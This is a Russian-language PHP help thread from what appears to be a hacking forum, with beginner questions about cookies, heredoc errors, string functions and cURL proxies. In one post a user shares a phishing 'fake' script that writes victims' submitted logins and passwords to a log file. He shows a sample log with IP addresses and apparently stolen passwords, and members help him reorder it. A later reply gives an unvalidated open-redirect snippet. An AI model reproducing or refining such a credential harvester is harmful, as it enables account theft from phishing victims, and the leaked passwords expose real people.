[php] Новичкам: задаем вопросы

Discussion in 'PHP' started by _Great_, 26 May 2007.

Thread Status:
Not open for further replies.
  1. mr.The

    mr.The Elder - Старейшина

    Joined:
    30 Apr 2007
    Messages:
    1,080
    Likes Received:
    456
    Reputations:
    38
    PHP:
    echo $_COOKIE['cookie_name'];
    выведет установленную печеньку с именем cookie_name
    а вот так, выйдут все куки:
    PHP:
    print_r($_COOKIE);
     
    1 person likes this.
  2. amBX

    amBX New Member

    Joined:
    29 May 2009
    Messages:
    4
    Likes Received:
    2
    Reputations:
    0
    Скажите пожалуйста как сделать так чтобы фейк записывал данные снизу вверх, а не оборот.

    т.е. вот самый простой скрипт фейка:
    PHP:
     <?PHP 

    $date
    =date("[d/m/Y|H:i]");
    $ip = @$_SERVER['REMOTE_ADDR'];
    $Login $_POST['login'];
    $Pass $_POST['passwd'];
    $c "$date | [$ip]
    $Login;$Pass";
    $fp fopen("log.html","a+");
    fwrite($fp,"\n$c\n");
    fclose($fp);
    ?>
    Все данные будут записываться в log.html примерно так:
    [26/07/2009|21:27] | [95.133.241.240]
    [email protected];MEL666alex1995

    [27/07/2009|00:30] | [79.133.78.60]
    [email protected];princess

    [27/07/2009|07:43] | [79.133.132.233]
    [email protected];dkfcjdf

    А мне надо сделать чтобы данные записывались так:
    [27/07/2009|07:43] | [79.133.132.233]
    [email protected];dkfcjdf

    [27/07/2009|00:30] | [79.133.78.60]
    [email protected];princess

    [26/07/2009|21:27] | [95.133.241.240]
    [email protected];MEL666alex1995

    т.е. самые новые данные были сверху.

    Помогите решить проблему.
     
    #12802 amBX, 21 Nov 2009
    Last edited: 21 Nov 2009
  3. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    никак, только последующая обработка лога. Пример можешь посмотреть в каник-сниффер
     
  4. DiHWO

    DiHWO Member

    Joined:
    23 Oct 2009
    Messages:
    93
    Likes Received:
    10
    Reputations:
    0
    спасибо мистер зе! Именно это мне и нужно было.
     
  5. b3

    b3 Banned

    Joined:
    5 Dec 2004
    Messages:
    2,174
    Likes Received:
    1,157
    Reputations:
    202
    а если fseek() на нулевую пазицию перейти и потом запись сделать =)
     
  6. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    2 b3:

    Ага, ты прав, чото туплю. Хотя усложнение процедуры записи в лог не есть гуд при большом трафе.
     
    #12806 Pashkela, 21 Nov 2009
    Last edited: 21 Nov 2009
    1 person likes this.
  7. amBX

    amBX New Member

    Joined:
    29 May 2009
    Messages:
    4
    Likes Received:
    2
    Reputations:
    0
    Ребят я конечно понимаю что вы все умные люди и можете говорить понимая друг друга с полу слова, но можно мало грамотному в этой области по русски и внятно объяснить что к чему мне сделать надо. Спасибо.
     
  8. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    Ну b3 если соблаговолит, мне лень
     
  9. KaZ@NoVa

    KaZ@NoVa Elder - Старейшина

    Joined:
    5 Jul 2008
    Messages:
    368
    Likes Received:
    438
    Reputations:
    -16
    Так не сделать просто - в любом случае надо переписывать весь файл. Ведь нельзя просто сместить оффсет начала файла, чтобы сместились все данные, а в нулевую часть записать новые. Потому надо читать ВЕСЬ файл, обнулять его, затем писать новую запись, а после нее прочитанный буффер. В случае с базой данных таких проблем нет, поскольку СУБД берет все эти издержки на себя.
     
  10. azote

    azote New Member

    Joined:
    28 Mar 2008
    Messages:
    20
    Likes Received:
    0
    Reputations:
    0
    Нужна функция

    помогите. нужна функция которая будет обрабатывать строку, и через определённое колличество слов(символов) будет вставлять в эту строку некоторый текст. Как такое реализовать?
     
  11. azote

    azote New Member

    Joined:
    28 Mar 2008
    Messages:
    20
    Likes Received:
    0
    Reputations:
    0
    стоило только порыскать по учебнику...
    вот то что нужно wordwrap();
     
  12. CrazyStudentS_Mi}{

    CrazyStudentS_Mi}{ Elder - Старейшина

    Joined:
    4 Jul 2007
    Messages:
    424
    Likes Received:
    296
    Reputations:
    92
    как заархивировать папку со всеми вложениями и подпапками?
     
  13. CrazyStudentS_Mi}{

    CrazyStudentS_Mi}{ Elder - Старейшина

    Joined:
    4 Jul 2007
    Messages:
    424
    Likes Received:
    296
    Reputations:
    92
    надо на виндах
     
  14. [Dead]Demon

    [Dead]Demon Member

    Joined:
    7 Oct 2009
    Messages:
    60
    Likes Received:
    8
    Reputations:
    5
    Вроде всё норма,только где-то ошибка
    Код HTML


    <html>
    <head>
    <title>Image</title>
    </head>
    <body>
    <?
    $dirName = "c:\my\mm";
    $dp = opendir($dirName);
    chdir($dirName);
    while ($currentFile !== false) {
    $currentFile = readDir($dp);
    $theFiles[] = $currentFile;
    }
    $imageFiles = preg_grep ("/jpg$|gif$/",$theFiles);
    $output = " ";
    foreach ($imageFiles as $currentFile) {
    $output = <<<HERE
    <a href = $currentFile>
    <img src = "currentFile"
    height = 50
    width = 50>
    </a>
    }
    $fp = fopen("imageIndex.html","w");
    fputs ($fp, $output);
    fclose($fp);
    print "<a href = $dirName/imageIndex.html>image</a> \n";
    ?>
    </body>
    </html>

    где ошибка?
     
    #12814 [Dead]Demon, 22 Nov 2009
    Last edited: 22 Nov 2009
  15. MafyO_o

    MafyO_o New Member

    Joined:
    12 Aug 2009
    Messages:
    9
    Likes Received:
    0
    Reputations:
    0
    напишите пл3 простейший пхп ридерект!
    пример когда я пишу site.ru/go.php?http://site2.ru/ переходыло на сайт http://site2.ru/
     
  16. [Dead]Demon

    [Dead]Demon Member

    Joined:
    7 Oct 2009
    Messages:
    60
    Likes Received:
    8
    Reputations:
    5
    ну что никто не поможет? :eek:
     
  17. Kusto

    Kusto Elder - Старейшина

    Joined:
    4 Feb 2007
    Messages:
    886
    Likes Received:
    678
    Reputations:
    510
    еслиб работал с подсветкой тоб заметил бы что строке foreach ($imageFiles as $currentFile) { нет закрывающей скобки "}" вернее ее скрипт не видет в $output

    у тебя отсутствует закрытие heredoc-текста
     
    #12817 Kusto, 22 Nov 2009
    Last edited: 22 Nov 2009
  18. [Dead]Demon

    [Dead]Demon Member

    Joined:
    7 Oct 2009
    Messages:
    60
    Likes Received:
    8
    Reputations:
    5
    ой))
    спасибо =)
     
  19. Root-access

    Root-access Elder - Старейшина

    Joined:
    18 Jun 2008
    Messages:
    193
    Likes Received:
    195
    Reputations:
    91
    PHP:
    <?php
    header
    ('Location: '.$_SERVER['QUERY_STRING']);
    ?>
     
    #12819 Root-access, 22 Nov 2009
    Last edited: 22 Nov 2009
  20. geforse

    geforse Elder - Старейшина

    Joined:
    2 Mar 2008
    Messages:
    617
    Likes Received:
    290
    Reputations:
    1
    Как правильно заставить работать cURL через прокси с поддержкой SSL ?

    *Нужно зайти на https:// страницу через прокси (не сокс)
     
Thread Status:
Not open for further replies.